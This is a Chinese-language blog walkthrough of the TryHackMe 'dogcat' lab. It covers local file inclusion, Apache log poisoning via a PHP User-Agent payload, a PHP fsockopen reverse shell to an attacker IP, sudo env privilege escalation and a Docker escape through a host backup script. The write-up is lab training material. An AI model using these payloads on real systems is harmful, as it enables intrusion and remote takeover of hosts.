tryhackme-dogcat(狗猫)

描述已经说明了这个靶机的一些思路,LFI -> 提权 -> 突破docker

信息收集

使用nmap进行端口扫描

开放了8022端口,直接访问80端口

这是一个文件包含,通过尝试,发现传参内容中必须含有catdog,然后会将传参的最后加入.php,这里我使用%00节点也没有利用成功。

尝试目录扫描

gobuster dir -u http://10.10.67.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,js,zip -t 66

通过扫描结果发现,有一个flag.php文件,另外还有catsdogs目录,这里就有了一个思路,使用文件包含然后路径包含cats或者dogs目录,然后使用../返回上一级,然后包含flag.php获得flag

使用php://filter/read协议进行读取base64编码

http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../flag

注意:**由于会在我们的传参最后加入.php,最后的文件名直接flag即可

使用base64命令解密,得到第一个flag

接着我们继续包含index.php文件的内容,查看源代码

http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../index

解码解码后得到如下内容

代码如下:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

简单分析一下,判断ext参数有没有值,如果没有设置默认的后缀名为.php,然后检测我们输入的值有没有dogcat,最后包含文件

所以我们只需要传入ext参数,不设置任何值就可以任意文件包含,尝试包含/etc/passwd

curl "http://10.10.67.136/?view=/var/www/html/cats/../../../../../etc/passwd&ext="

初始访问权限

成功执行,现在我们需要获取shell,就用到了apache2的日志文件

  1. apache2的日志文件位置为/var/log/apache2/access.log
  2. access.log文件会记录访问者的IP访问时间请求方法(GET)请求地址请求状态码User-Agent

值得注意的是,User-Agent很长,这里我们可以使用User-Agent写入php代码,使用文件包含包含该文件反弹shell,步骤如下

  1. 构造payload包含access.log文件,然后修改User-Agent
GET /?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami HTTP/1.1

Host: 10.10.62.206

User-Agent: <?php system($_GET['cmd']);?>

  1. 需要再次进行访问,因为第一次只是将我们的访问记录下来,再次利用会看到www-data用户权限,如果想要回显清晰,可以使用ls类似的命令

成功执行的命令,这时我们需要反弹shell,其实可以直接使用包含页面写入一句话木马,使用菜刀蚁剑这种工具连接,但是这里我们使用脚本语言,例如phppython或者perl进行反弹shell

php反弹shell代码加入payload

php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");

加入后需要使用url编码,不然会报错

编码后的payload如下,注意将targetIPport改为自己的IP和端口

?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+'$sock%3dfsockopen("targetIP","prot")%3bexec("/bin/bash+-i+0>%263+2>%263+1>%263")%3b'

然后再在本地监听nc -lvp 4444,然后使用burpsuite发送数据包获得shell

成功获得shell,上述中我使用了find查找flag文件,因为并没有在/home目录发现用户

查看/var/www/flag2_QMW7JvaY2LvK.txt文件得到flag2

权限提升

使用sudo -l发现可以执行/usr/bin/env,在GTFOBins找到直接提权获得root权限获取flag3

docker逃逸

这是我第一次接触逃逸,需要了解docker,是因为docker容器可以挂在宿主机器目录的文件,我们在/opt/backups发现文件backup.sh,可能是宿主机在进行备份,在里面加入反弹shell代码,在本地监听,等待一分钟,获取宿主机root权限,flag直接在当前目录

posted @ 2024-03-07 23:15  Junglezt  阅读(35)  评论(0编辑  收藏  举报